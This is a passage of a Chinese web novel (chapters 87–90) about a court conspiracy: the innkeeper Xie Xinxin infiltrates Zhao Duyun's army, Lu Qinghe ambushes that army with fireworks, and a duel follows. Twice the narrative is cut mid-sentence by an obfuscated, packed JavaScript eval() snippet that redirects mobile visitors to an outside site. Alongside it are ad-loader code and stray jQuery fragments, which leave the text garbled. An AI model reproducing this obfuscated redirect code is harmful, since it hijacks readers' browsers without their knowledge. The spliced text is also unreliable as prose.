阿凤耸耸肩,“我不管,还好你来了,信送到了,我得早点去告诉公子这件事,连夜就要启程。你自便吧,我不送了。” 而这个兀自给郑瑾瑜添了许多“麻烦”的人,正被缚了手,在阴暗处自若端坐。 谢辛辛在放出消息的时候就料到,赵都云绝不可能轻易放过他,一定在云京埋伏了人手。 一传出哪条街上有南方来的酒楼掌柜新搬了家,四面即刻就布下了从前全没见过的暗桩。 所以她特意将大门敞开,拿着畚箕出门丢落叶。果然,暗处的人忍不住动手,将她绑来了此处。 只是这些绑匪不知是不是畏惧上头的主子,几乎不跟她说话。谢辛辛只好主动开口:“赵都云的人吧?” “你怎么知道?”绑匪错愕了一瞬,又笑呵呵的,“别自作聪明,也不用害怕。郡王爷的军队到了山脚下,就把你送去。” 谢辛辛闻言,松了一口气。 这正是她想要的。 据徐明庚所言,大皇子承元此刻正藏在赵都云的队伍中。这傻孩子,还以为云顺郡王是他那一边的,满心以为这郡王爷是在替他声讨太子,殊不知赵都云的军入京的下一步,可能就是挟皇子以令诸侯了。 赵都云那边,自然什么好听的都哄着他。要想让大皇子主动站出来,就需要有人进军营和承元说上话。 能潜入敌方军中的,除了间谍,就是俘虏。 她就是要当“俘虏”。 谢辛辛回想着茗琅那封信中状若无意提起的一句话。 马南春某日回来辞别,说误会了我们,他已经查清宣王府里那群孤儿都和赵都云有血海深仇,包括他自己。 可马南春却选择成为赵都云的亲兵。 马南春,成了“间谍”。 87.诱敌技 一口粥一口菜,也撑过了暗无天日的几天。绑匪说的日子很快就到了。 所幸,谢辛辛被捆起来送到赵都云军中的时候,就是马南春接的手,这让一切筹谋都方便了许多。 他们二人对视一眼,彼此没有多言,马南春沉默地赶走了论功讨赏的绑匪,将谢辛辛安排在自己的营帐附近。 谢辛辛四肢都被缚,只能小步小步地行走,一路低头。 “我被绑了好几日,如今是什么情况了?打起来了吗?” “没有。”马南春略放慢了脚步,“我们这里断了他们的粮路,如今的战略便只是拖,拖到禁军军心涣散,一举进京。” 阴险的人,行军打仗,也招招阴险。 直到进了大帐,谢辛辛才抬起头来,自来熟地找了个地方坐下。 她手脚都有与绳索摩擦产生的血痂,此刻却像坐在自己的玉春楼里是的,漫不经意道:“可我听说,外面有封地的亲王无御令擅自进京是死罪。赵都云的郡王之名还未正式授勋,且算是宣王府的人。宣王府的兵想进京城,要么杀进去,要么,被拦在京外,死。” “也许是吧。” 马南春点点头,不置可否。 他还是老样子,似乎对自己身外之事都不上心。 谢辛辛叹了口气:“没有一个百姓会喜欢打仗。你就不能在这之前把他杀了?” “我是不想杀吗?”马南春掀开眼皮看她一眼,动手解着谢辛辛脚腕上的麻绳。 “好吧。” 马南春又问:“如果不是这几个人的上家不是我,你有什么办法?” 谢辛辛一笑:“船到桥头自然直。我再想办法找到你就是了。我可以问人啊,谁来关押我,我就问,你们军中,削土豆最快的人是谁?” 马南春失语片刻,将绳子一扔,“……掌柜的,你心态确实不同常人。明明看着莽撞,却好像又布局深远。我算是知道茗琅像谁了。” 这个评价很奇怪,说得像她是茗琅的母亲似的。 这念头才一冒出来,谢辛辛忍俊不禁。 马南春忍无可忍地看着她,“什么安排?” 谢辛辛去问:“我还想问你呢?我若不来,你在赵都云的军中,什么安排?” “我没有安排,有合适的机会就杀了他。但他太警惕了,寻常人没机会近他的身。你呢?” “我要见大皇子殿下。” 马南春皱眉,“军营里哪来的什么皇子?军营不是儿戏,掌柜的,趁现在没人发现,我还能把你送出去。” 谢辛辛的确被马南春这即时的反应动摇了一瞬,可想了一想,仍是打消了自我怀疑。 “徐明庚死到临头了,没有理由骗我。你仔细想想,赵都云身边有没有穿着贵气的富家公子,嗯……看着不太聪明的样子。” 她当然没见过大皇子,对承元所有的了解都来自于陆清和的只言片语。在陆清和这样温雅的人口中,也难掩对承元圣质如初的无奈。 而事实也证明了大皇子的气质独绝。马南春刚一听到后半句就即刻反应过来: “是有那么一个不太聪明的人。上次郡王殿下与几个统领开会,有个人从殿下帐中冲出来要看歌舞。殿下无法,只好点了几个人带他出去看舞剑。” “这也太……” 谢辛辛额角抽了抽。 这也太符合人们对昏君小时候的想象了吧。 心性如此,却仍有一派拥趸,可见这大皇子一党上上下下心里都打的是什么算盘。 他也许不会成为最圣明的君主,也用不好这天下至高的权柄,可是权力不会消失,只会转移到包藏祸心的臣子身上去。 “你说的这个人,我能见到他吗?” 马南春拧眉道:“你是说这个人是大皇子……?” 马南春心思质朴,一心只在赵都云身上,哪怕知道是皇子也没有多想,只到:“郡王殿下和他同住,似乎不让他随意出帐,若要见他,恐怕只能把你送到云顺郡王的营帐中去……” “那怎么行?”谢辛辛脱口而出,“我进他的帐子,好比一块鲜肉掉进虎狼之窝。” “我知道……”马南春揉了揉颞穴,玉春楼苦茗琅那满身瘀伤的画面又浮现在他眼前,“那我再想想。” 谢辛辛心念一转,“……好像也不是不行。他总有要离帐的时候吧……你等一个合适的机会,将我偷偷带进去。” “你要做什么?” “我做什么?”谢辛辛偏头想了一想,“那要看我们的大皇子殿下,是吃软,还是吃硬了。” …… 将士们都在练兵,空旷的土地上生着荒草,这几日,几乎被军中将士们踏平了。 所以赵都云的来使被人押在地上,跪多久也不会觉得剌膝盖骨——至少陆指挥使是这么说的。 “陆、陆清和,你好的胆子。”使者声音虚弱,狠话说得哆哆嗦嗦,“两军交战,不斩来使。你竟敢如此折辱我……” 几丈远出,陆清和搬了一把椅子坐在高处,眼神慢悠悠地从他脸上掠过。 “来使?”他不解道,“你若真是来使,为何一点谈判的诚意都没有?你来我营中多日,一句有用的话都不说。” “问你赵都云何时退兵,你说他要太子出来俯首认错……笑话,他也是皇家人,岂容皇家威仪有失。” “我看你不是来使,是冒充军使的逆贼。索性今日就斩首……” “你敢!”这人一听要没了命,瞬间不知哪来的力气,往前挣了几步,“你杀了我,云顺郡王的兵立刻就会打过来……” 陆清和打断他:“你还不明白?” “什么?” “你还不明白,你只是个他派来拖延时间的弃子?” “你执迷不悟,我不介意讲给你听。赵都云实在是怯懦,若非截了粮道,欲等我军绝粮之日,你以为他敢打过来?他打了我这儿的人,进了京,还得打京中的人。他靠铁矿山养的那几万私兵,哪够这么挥霍的?” “所以,他让你提的,都是不可能完成的要求,无他,只为拖延。这一仗,他想要的,是不战而胜。” 来使支支吾吾,欲要辩驳,却惊觉自己说不出反驳之辞来。 陆清和长叹一声:“我后悔同他浪费时间了。砍他一只手罢。” “别!陆指挥使,陆大将军,小人知错……” 禁军之中也有人疑惑,“陆大人,何不直接砍了他的脑袋?” 冷风乍过,陆清和紧缩了眉头,将咳嗽掩在胸腔之中,勉力道: “我要让他回到他的主子那里去,我倒要瞧瞧,将军使砍了半边送回去,他是不是还不发兵。” 陆清和扫了他们一眼,忽然问:“你们之中谁骂人更狠些?” 几人面面相觑,试探着道:“若说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 骂人,咱们几个都不相上下,但要说言辞丰富有内涵,还得是都头,他上过学。” “读书人骂人是脏一些。”陆清和点点头,十分认可,“既然如此,把你们都头叫来。你们几个一道好好构思一篇讨贼檄文。” “开头就写,夫英雄者,光明磊落,以正压邪,而云顺郡王,鼠辈之流……” “然后把此人的衣服扒了,把文章刺在他的背上。” 说完,也不顾那人的抢地哀号,自个儿拖着把椅子靠近了些,“我也给你们参谋着。” 等都头赶来,除陆清和外,几人抓耳挠腮一会儿,勉强凑了能刀刻满背的讨云顺郡王檄。 “这还是第一次奉命骂人呢。”都头是使刀的那个,刺完了背,在这大冬天的,出了一脑门的汗。 “可不是。”身边人也附和,“骂得还是宗亲。嘿,但是解气。” 刀下的使者奄奄一息地趴在条凳上,连呜咽的声气儿也没有了。 都头擦了擦汗:“给他吃点好的,别送回去之前就死了” 他们把使者扔在云顺军驻扎不远的野地上,在原处盯着,确保他踉踉跄跄地回了云顺军的军营,这才离开。 这人自然是不敢将背上的东西亮出来了,本指望着冬天不用洗澡,可以遮掩好几日。怎料赵都云偏偏对他手臂的断口感兴趣,非让军医研究禁军砍他用的是什么兵器,什么材料。 这要看手,不得不脱半边身子的衣服。才脱了半边,背上就露出“狗彘”两个字。 军医倒吸一口凉气:“嘶,这种题材的文绣倒是少见。” 众人一看,各个窃笑起来,有地位高些的将领不顾他面色惶然欲死,直接伸手去扒他的衣服。 赵都云眼看着几人欺负伤残,也难得地笑了,并不去管。 可这衣服扒着扒着,众人的脸色就变了。几人你看我,我看你,膝盖颤颤,不知是想逃还是想跪。 “怎么了?”赵都云懒洋洋道,“叫他转过来,我看看。” 竟无一人出声。 赵都云有些愠怒:“怎么了?写的什么东西?转过来!” 声音一大,吓得这断了手的使者从椅子上摔下来,直接匍匐在了地面上。这下,整背的檄文在众人的视线中暴露得一清二楚。 “彼云顺郡王,既无英雄之姿,又乏豪杰之气,只知以阴计断人粮道,以为得计。” “自幼之时,爹不疼娘不爱,孤苦无依,遂生悖逆之心。彼既弑父以求荣,又逆天而行不义,真乃小人不如也! ……心如蛇蚣,行同狗彘,实乃天下所共愤,人神所共怒!” 军医帐里,霎时安静得只有地上之人的啜泣。 赵都云的面色铁青,走过来抬脚踩在了一句话上。 那句话是:天命自在正义之下,红颜自沐高岭之风…… 这句话在整篇檄文中异常突兀,唯有赵都云才看得出来,这是在说谢辛辛本就该在山风之间自由。 于是一眼就能知道是谁的手笔。 “……陆清和!”他咬着牙,脚下更加用力。地上这人顿时伤口崩裂,鲜血汨汨打湿了帐中的绒毯。 “属下这就把他丢出去喂狗!” “等等。” 赵都云的眸色沁血,看着说话的这个将领,一字一句: “先把他背上的皮给我剜了。今明整备,挑个日子,夜袭敌栅。” 88.送烟火 这日是腊八,郑瑾瑜才在东宫结束经史的讲学,正要辞出,却被太子叫住了。 “先生且慢。” 郑瑾瑜脚步一顿,就有东宫的掌事姑姑就迎上来称,东宫已备下香粥,太子殿下有意,与少傅大人共饮。 郑瑾瑜转身道:“臣惶恐。” “先生莫要推辞了。”太子淡淡道,“孤如今禁足东宫,久未外出,若节日也要孑然地过,未免太凄惨。” 郑瑾瑜拱了拱手:“殿下,君子慎言。殿下是太子,上有君父,下有万民,怎会孑然?” 说罢自己在心里暗赞这见人说人话的本事。 如今说起宫中的大话已能面不改色,他郑瑾瑜这段日子的大起大落果然不是白经历的! “行了,坐下。孤还有事要问你。” “是。” 香碗奉上来,无非是江米红枣、核桃桂圆等熬在一起的东西,可热气腾腾,实在香气扑鼻。 郑瑾瑜动了动鼻子,费了十二分的力气才忍住没有动勺羹。 “殿下可是课业仍有不懂之处?” “并非是课业。” 果然,郑瑾瑜一话头,太子也不多迂回,直言道:“如今大皇子失踪,表兄却在外宣扬孤残害手足。陛下虽暂未轻信,但与孤也愈发疏远了。依先生所见,这无妄之灾,可有破局之法?” 不知何时,宫中侍奉的婢女都悄悄退了出去。殿中除了他与太子两人,唯有轻风翻动书页。 本来,太子问些经史课业,他应该尽快答完放职走人。可这一问,让他想起谢辛辛留给他的嘱托来。 郑瑾瑜斟酌了一阵,道:“太子没做过的事,没有‘入局’,又何来‘破局’一说呢?君子光明磊落,自然衾影无惭,问心不愧。” 太子笑了:“好一个问心不愧。依这个意思,孤只消静坐等待,以不变应万变了即可?” 郑瑾瑜却道:“那要看太子坐于何处了。” “先生这是何意?” “云顺郡王此举,于小家中,污蔑表亲,只伤伦理人情,于大家中,却是弹逆东宫,是妨君臣伦常,唯恐天下不乱也。殿下若坐家中,清者自清,自可放手不管。可殿下是皇家,坐东宫,上不治,下必有乱……” “上不治,下必有乱……”太子重复了一遍郑瑾瑜的话,沉吟片刻,微微笑道,“先生实在胆子很大,这话意有所指,就连孤也不敢接了。” “臣惶恐。”郑瑾瑜恭敬地拂衣跪在案前,朝着主位的方向,谦卑道,“臣敢言,只因臣是太子少傅,深知太子纯善。臣子践行自己心中的良臣之路,有何不敢呢?” “……良臣。” 太子将这两个字放在嘴边噙了噙,咂摸出另一种意思来。 “好,先生的的话孤明白了。” 太子宫中是炉香粥暖,宫外却是劲风袭卷。隆冬的狂风毫不留情地刮到郑瑾瑜身上,将他的袍服吹得撇开一个缺口。 冷气骤然侵入了他身体与衣袍之间。郑瑾瑜猛地一个寒噤,才发觉自己脊上有一层薄汗。 他抬头,看见冬风浩浩荡荡地从雪峰卷着白烟而下,不露声色地松了口气。 天空冷得像干涸的盐地,无云,狂风却呼啸不停。这样的天气,寻常百姓多是闭门不出的。 可军中就不同了。 急风一直靡涌到夜里,把军营的帐篷刮得呼呼作响。 禁军的营地很静,上到指挥使,下至卒兵,似乎都在营中休息。此处除了风声,只剩下柴火烧的响声。 守夜的士兵瑟缩在篝火旁,上下眼睫很快打起架来。 越是冷,越容易在暖和的角落犯困。瞌睡意翻上眼皮,越睡却越觉得暖和,好像火舌舔舐着自己似的。 “好香……在烤什么……”他显然在梦里闻见烤兔子的香气。 肚子咕噜叫了一声,士兵迷迷瞪瞪地睁开眼,却看见远处窜天的火烟。 那一霎,他怀疑自己在梦里。 下一瞬,士兵猛然反应过来,“着火了!!着火了!!!” 在他喊出声的同时,数千拖着火尾的利箭破空而来,每一只都向着禁军的驻扎地! “敌袭!有敌袭!!” “敌——!袭——!!” “快去叫陆指挥使!!!” 远处高地上,赵都云站在几排弓手的身后,冷眼看着低处燃成一片火海的禁军营地。 “恭喜郡王爷。” 云顺军中,不乏有好献殷勤者,此时对赵都云腆着脸道,“今夜极寒,又有急风,风向朝西,这禁军驻扎地竟然在低谷,真是天助郡王大计啊……” “哼。”赵都云冷笑,“天助?在你眼里,本郡王就是凭运气,凭天意?” “属下不敢!”没想到马屁拍到马腿上,这人忙呵腰找补,“郡王爷能算天象,而禁军如今的指挥使却不通兵法,选这么个难攻难守的地形作驻地,营帐松散……真乃用兵谋略之悬殊啊。” 赵都云的嘴角这才浮起一些笑意,沉眸欣赏着脚下的赤焰风景。 下属顺着赵都云的目光看过去,渐渐地,眼露惊疑,“禁军还没发现吗?怎么这一点动静也没有……行军在外,都睡得这么死,如此疏忽大意……” “闭不上嘴可以把舌头割了。” 这人才收了声,讪讪退了下去。 骂退了旁人,赵都云的脸色却也不好看起来。 禁军的营地,确实太安静了。 从云顺军的人放火,到现在火烧连营,禁军营地中,除了报敌袭的那几个戍卫冲了出去,竟然没有再跑出一人。 “郡王爷,要攻下去吗?” “……再等等。” 赵都云眯着眼睛打量着脚下。隔着这么远,火势愈大,一切火焰中的事物都在扭曲变形,几乎让人看不清。 是他没看清,还是真的没有人跑动?如果是后者,是因为禁军太过松懈,还是…… 正要细想,一位队正却适时出现: “需要下令吗?郡王爷,你不是说想活捉对面的指挥使吗?为确保火势足够,我们这此番已经消耗千余弓箭,若放走了他……” 听到此处,赵都云狠了狠眼色,“马南春在哪?” 队正道:“马南春遵命留在原地,保护贵人。” 于是他最重要的顾虑便打消了,咬牙道:“下令!攻!” 成千上万的箭霎时离弦飞了出去,云顺军喊声震天,直冲禁军营地。 “皇子失踪,太子失德,残害手足,祸乱朝纲!” “讨东宫,清君侧!” “废太子,安社稷!” “扶天家之乱,定天下之乱!” “杀!!!” 精兵一齐而上,喊着赵都云为他们拟的口号,震得夜幕几乎也要抖上三抖。大队杀向禁军营地,要穿过一条不甚宽阔的陵道,至高向低,恍若流泉奔袭而下,气势之壮阔,堪称轰轰烈烈。 赵都云骑上战马,在自己豢养多年的亲兵的簇拥中凛凛策马。 可忽然头顶“砰”“啪”几声,伴随着声音,有异色光影闪烁。起初,大军一往直前,无人在意——直到有几个人疑惑地抬头看了看天。 赵都云蹙眉抬眼,拙劣却绮丽的光芒在夜幕中啪地炸开,又化成流光散去天际。 “是烟火?” “烟火?从禁军营地升起来的烟火?” “我们烧的不是禁军吗?哪来的烟火?” 越来越多的人脚步变得迟疑。 “啊!!!” 烟花炸响,将一声惨叫盖在了绚烂天幕下。 又是几声惨叫,数十名前排士兵相继中箭倒下,鲜血喷溅在周围人的脸上。 不知谁忽然发现,大喊一声:“有埋伏!” 一支流箭直冲赵都云面门而来。 赵都云劈刀斩下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13923988|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“什么人装神弄鬼!” 流箭来处,风过山岗,更高的山坡上传来一声轻笑,如同夹杂远山碎雪,冰冰凉凉: “赵都云,适逢佳节,陆某军中正巧有老家做烟火艺人的老兵,正好送你一场烟火戏。 “以此戏,祝云顺郡王魂不入九泉,身与烟火齐天。” 话音刚落,几万禁军从四面八方的山上冲锋而下,再看原来的“禁军营地”,竟是盛放烟火的空帐篷! 赵都云目眦欲裂,挥刀向他,“活捉敌将之首者,赏金银五百两!” 此话一出,才在惊愕之中的云顺军即刻回神,重燃斗志,嘶喊着与禁军交锋在了一起。 两军一时缠斗胶着,赵都云趁此机会,勒转马头,径直向陆清和的方向而去。 北瑛王府家的二公子不擅武,他赵都云也有所耳闻。 与此同时,陆清和披着包身大氅,如流风中鹤,静静地站在原地。 赵都云身负一丈二尺长柄军刀,眼见着就要奔驰至陆清和眼前,刀锋自上挥下,带着逼人的杀意。 却“铛”地一声,被一枝远处飞来的“木长枪”击中刀身,震的他虎口微麻,刀锋砸在地上,拖出一条长长的沟壑。 定睛一看,那“木长枪”却是一根笔直厚重的树枝。 阿凤飞跃而来,敏捷如山兔,“公子!你没事吧!” 陆清和摇摇头,“有你在,我无事。” 可他心中却忍不住想,其实阿凤本不该出现在这里的。 他明明将阿凤留在谢辛辛身边了。 日前阿凤日夜兼程赶到军营,陆清和才知道,一个不注意,谢辛辛就自己跑进了云顺军的手掌心。 这个谢小掌柜啊,实在很聪明,可又太聪明,聪明到连骑马都要与他争个高低,故而永不能心甘情愿地让自己来保护她。他是知道的,他一向知道。 可若有选择,他仍会不服气地,用自己能想到最好的方式,护她周全。至少至少,给他一个被拒绝的机会。 但看现在这个情况…… 陆清和眸色微敛,沉沉地望着正与阿凤过招的赵都云。 此人看起来急火攻心,全然没有对大皇子和谢辛辛的顾虑。 所以,谢辛辛的潜入计划是暂未被察觉,还是已经失败了? 来不及细思,战况陡然一转。此次让云顺军自投罗网,又是在京城禁军擅长的山间作战,本有大优,可不知为何云顺军势如破竹,竟已将禁军折损小半。 陆清和俯瞰战局,兵书中提到的某个信息忽然闪现在脑中,微微一怔。 都头扶着额盔跑到他面前,“大人,您先撤离吧。这些人不知受过什么野路子训练,打法诡变多端,我们本来就物资紧缺,再受伤……这种情况,不适合强行鏖战了。” 陆清和眉头紧锁,“你不用管我,带将士们且战且退,我与阿凤殿后。” “这怎么行!”都头心急道,“大人,我掏心掏肺地跟你讲,你休要觉得是属下瞧不起您,您自上任以来,对殿前司用了多少心思下面的人都清楚。我让大人走,是因为如今这个局面,我们少不了大人您……” 陆清和拍了拍他的肩,安慰道:“哪里就到这个程度了?” 语罢,他解下大氅,身上竟是与将士们同制的披甲。 陆清和安抚地笑了笑,“无事,我应对他们。都头,你要遵军令。” “大人……” “别劝了,我不能走,我还有尚未等到的人事。你带兵回防,这是命令。” 见禁军后撤,赵都云大力拨开阿凤的纠缠,轻狂笑道:“陆清和,做我的刀下鬼,不冤。” 眼前这人却一寸一寸地转过眼睛来,那眼里有熔金之火,烧的赵都云措手不及。 陆清和一字一句,盯着他道: “这些人,用的是东洋武式。” “赵都云,朝堂党争,你竟和东洋人合作?” 89.挟天子 笼着茶雾的菩萨目中,怒火压抑其下,目光借月光淬成审判的刀剑,在赵都云身上冷冷审视。 赵都云朗声大笑:“共举大义,有何不可?东洋所求不过清尾屿一带的贡赋,那种穷地方甚至比不上莲州一个县,待我成事,送给他们又何妨?” 陆清和闭了闭目,“愚蠢。” 余光中,禁军的队伍呈扇面阵型,在后翼的掩护下后撤。而云顺军两翼展开,步步紧逼。 “东洋的鹤翼阵?”陆清和长叹一气,“我早该想道,单凭玉春楼和一个孟安把握着分寸的铁冶监,宣王府哪来这么多钱养几万私兵……” “宣王府怎么可能没钱?”赵都云唐然暴起,长刀直冲陆清和而去。 长刀空有雷霆怒意,却失了准心,陆清和抽剑打开,刀剑铛然铮鸣,他几乎拿不稳剑身。 “你比你兄长差远了……”赵都云轻蔑一笑,并不在意,转腕又劈,接着道,“宣王府有钱呐,只不过我父亲阴险,母妃狡诈,可怜我宣王府独子,竟要靠账簿算计才能挪用几成……” 此时阿凤飞身追上,袖中曳出飞鞭,从背后拖住了赵都云的刀柄。 赵都云啧了一声,不耐烦地回身与阿凤缠斗,“……这奴才什么来头。喂,北瑛王府给你多少钱,我给你三倍,就买你跟着我,怎么样?” 陆清和道:“阿凤不是奴才。” 阿凤哼笑,左手持鞭,右手挽宽刃长剑,恍若两个人在纠缠赵都云似的。 长鞭掣住了刀身,赵都云一时走脱不得,险些被阿凤的剑锋刺上脖颈。 堪堪回躲之际,就听阿凤嗤笑道:“阿凤不是奴才,你买不去的。” 赵都云啐道:“不识好歹!”抽刀而出,刀芒一闪,竟将阿凤手中长鞭斩断成两截。 在阿凤惊愕的目光中,赵都云大笑不止:“呵,邺州的铁确实不错。” 紧接着三两下拨刀,就将阿凤甩在身后,径直向陆清和奔袭而去。 “公子小心!” “陆大人小心!” 两个声音同时响起,确实都头策马而来,拔刀替陆清和挡去了这一击。 凄然一声刀鸣,都头的朴刀竟从一道裂纹处生生崩断了。 都头望着朴刀的断口,一时有些茫然。 又是一阵杀意凛然的刀风,眼看就要挥到都头的喉下,陆清和伸手将他猛地一拽。 凉风在喉间掠过,只差一点,此处或许就将涌出灼热鲜血。 “不是让你带兵走吗!” “属下带了!”都头愤然道,“现在,是来带陆大人你走!” 陆清和道:“回去禀报陛下,云顺郡王私通外敌,用的是东洋战术,让宫中派援,不仅是外城需要,北瑛王所戍边境也需要!” 不等都头回答,赵都云冷笑道:“自身难保,还想保全他人。陆清和也是,你也是。世上的蠢人,为何如此之多?” 说着,刀刃迎面在空中回旋,迎面而下,却是朝向陆清和。 陆清和怔了一瞬间。 自身难保,还想保全他人。这样的人,自己的身边还有一个。 可他没有保护好她。 阿凤日夜兼程地赶来知会他,仍然用了两日。这两日的时间,他早已来不及将她拦下了。 如今,她在哪里呢,遑论成功与失败,只要她平安无恙……可出入云顺军的军营,真的能平安无恙吗? 若她…… 面对本就勉强对抗的敌人,就这么一瞬的怔忪也会致命。哪怕他凭本能抬剑格挡,赵都云的刀刃隔着剑身,仍是重重砍在他的左肩上。 陆清和闷哼一声,下意识去看剑身,所幸剑尚完整。 而后才在剧痛中反应过来,刀压之下,自己的缺盆骨怕是断裂了。 阿凤心急,就欲奔跃向陆清和这边,可有几个有意讨好赵都云的云顺军此时已赶来支援,朝阿凤围拢过去。 近身搏斗,阿凤索性从腰间抽出贴身匕首,把手中长剑向陆清和脚边掷了出去: “董都头接好!” 都头抢背滚翻接过,见陆清和这厢虽身疾未愈、支应困难,却尽力应付着赵都云的攻势,不给赵都云接近自己的机会。 他眼中一酸,大叫一声: “逆贼!” 他举剑与眼平齐,身体里迸发出野兽般的怒吼,“我乃殿前司右厢步军都头董尚!今日誓斩敌酋,扬我军威!” 说罢,不听陆清和的阻拦,嘶吼着向赵都云冲去,加入陆赵二人的缠斗。 可那赵都云的兵器不知如何铸成,刀锋奇锐,随意劈砍就能穿盔裂甲似的。 可都头双目猩红,宛如不知疼痛地横冲直撞,竟凭□□生生地将赵都云撞开几处破绽。 陆清和寻准机会,在赵都云的右脖颈划出一道血珠。 赵都云急急后退几步,抬手摸了一把颈上血痕,眼尾戾气愈深。 “董尚。”他重复了一遍这个都头的名字,冷笑道,“你想救他?焉知他已经时日无多?” 董都头的身形迟疑了一瞬,赵都云挥刀而出,一刀斩在他右臂的肩盔上。刀劲压得他跪下三寸,呲牙道:“什么意思?” “身中异毒,外则唇色发白,患嗽疾,身畏凉寒,内里却已五脏皆衰,血冻如冰……这是东洋毒师新研的毒,你没见过,也很正常。” 陆清和提剑而上,逼得赵都云撤身回防。 “……咳……闭嘴。” 肺中猛地窜上一口凉气,陆清和将它咬紧在口中,不愿在此时露怯,狠狠刺向赵都云。 却被赵都云以刀刃四两拨千斤地化解了。 赵都云笑道,竟收了刀锋问他:“你是怎么中的毒呢?你自己知道吗?” “是谢辛辛在玉春楼那次?还是徐明庚偷偷下在你的茶水里的?还是,陆景明给你的那包……” 陆清和脸色一转苍白。 夜色下,他以剑为拄,忽然弯腰猛烈地咳嗽起来。勉强抬头之时,正好能望见十常山皑皑的雪顶。 陆清和恍惚中感觉,这山顶离自己很近。 可他环顾四周——阿凤在不远处与小兵纠缠,已受了轻伤。都头半跪在地,几度挣扎着想站起来却不能。曾与自己共攀山顶的父亲远在边境,而兄长…… 兄长选择了另一条山道。 他的路上,竟真的唯有凛冽山风耳。 赵都云笑得愈发放肆,“怎么?没想到自己的亲大哥会害你?事到如今,你要怪就怪皇椅上那位无能,不懂得惜才。他连陆佗都畏惧,更何况陆景明和你?” “可陆景明比你聪明,他知道,一条路走不通,就要换一条路走。而你呢?借我的势,巴巴地向上面讨一个什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13957797|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都指挥使的官做,到头来,还不是得死?” “若我赢了,你不过只是死在我的刀下。若我输了,那个胆小如鼠的昏君,敢让你活么?” “为自己忠心所向的王朝而死,难道让你心里好受一些?” 陆清和抬剑向他,剑身映照出他自己清凌凌的影子。 他咽下喉中腥甜,一字一字道: “割地送人者,还不配说这些。” 赵都云不甚在意,“不是我割地,是大皇子殿下割地。待我逼皇帝废储,日后登上皇位的人,是大皇子,兑现诺言的,自然也是他了。后人再看史书,也骂不到我的头上。” “……挟天子。” 赵都云道:“也不必说的这么直白。” 伴着这句话,他长刀一起一落,直冲要害。 长刀擦过陆清和的面颊,半缕额发在刀锋上落下,风一吹,又散在空气里。 几次未能伤到他,赵都云眼见地不耐烦了起来,索性将攻势转向董都头,逼得陆清和执剑来守。 于是赵都云几番声东击西,状若砍向都头的刀悉数落在了陆清和的甲上。 阿凤脱不开身,快要急哭了,“公子!” “无碍。”陆清和掩去唇角鲜血,“再等等。” 赵都云没听清他要等什么。 毕竟一直想杀的人就在眼前,孱如风中蒲草,好像轻轻一吹就要倒下。这种情景,让赵都云浑身兴奋到战栗。 他一边大笑,一边用刀刃去敲打董都头的关节,好像有意以此取乐似的。待陆清和冲上来争斗时,又将杀意转向他,看他用毒发的病体挣扎的模样。 这就是权力…… 赵都云弯着眼睛品味着这个滋味。 这就是权力,这就是上位者的游戏,看着不知进退的蝼蚁在眼前求生,这就是他想要的东西啊! 只可惜老宣王死了,他若看到…… 赵都云一锁眉。 自己想这个干什么?难道他心里还祈望这个老东西的称赞吗? 无名孽火腾然而起。 他忽然觉得玩腻了。 只一霎那,赵都云眼中带了煞气,高举长刀,向抵背而战的陆清和与董都头劈砍而下—— “陆!” “清!” “和!” 陆清和这才舒展了眼色,温和地朝声音的方向看去。 “你打不过,就跑啊!!!” 是再熟悉不过的音色。 山风来处,红衣斑驳如月痕,少女策马飒踏而至。 多日奔波导致谢辛辛面色苍白,月光映照下,如嗜血山魅,更不要说她手里还有一个正被扼住咽喉的男子。 仔细去看,才发现她衣上的红色是鲜血染成。为了带她手里的人出兵营,应受了不少波折。 可就是这样的血红,如火焰一般驱散了陆清和周身的寒冷。 赵都云显然认出了她,一时间面色晦暗,“谢辛辛,你竟回到我面前……” “回你个头!”谢辛辛单手勒马,另一只手用手肘死死扼着一男子的喉部,骂骂咧咧,“把刀放下,大皇子殿下在此,谁敢造次!” 她手中的大皇子殿下正惊恐地环顾四周,正想要喊赵都云救命。可谢辛辛实在是勒他太紧,一开口,不适时地发出一声: “呕……” 90.杀皇子 “喂,你别吐啊!” “呕——勒、勒得太紧了……” 谢辛辛无措地松了一点手,“好点没?我不是故意的啊,我这是在保护你。” 承元泪光涟涟地看着她。 保护? 这个女人忽然闯进自己的营帐,说了一堆他听不懂的话,什么云顺郡王有不臣之心啦,自己的处境很危险啦…… 呵,不管她说的话有多难懂,想爬上皇子之床的女人,他赵承元见得多了。 于是承元摆摆手,“毋需找这么多借口,直接脱衣服吧。” 当时,这女子微微一愣。 想必是自己的善解人意感动了她吧! “不必谢恩唔唔!!!” 此女当即伸手抄起桌上的紫砂壶,随后在他后脑“咚”地一声。 承元立时不省人事。再醒来时头痛欲裂,他堂堂本朝皇长子,已经被这个不知来历的女人强行扼在手中,拖上了马。 “这不算‘保护’……” 谢辛辛扬眉瞪了他一眼。 承元将眼泪憋了回去,“……那还有什么算保护?!多、多谢女侠。” 赵都云冷冷盯着谢辛辛,“放开他。” 谢辛辛背后,同样传来一声远远的,“放开他!” 是马南春策马赶到。 赵都云骂道:“废物!早干什么去了!快救殿下!” “是!” 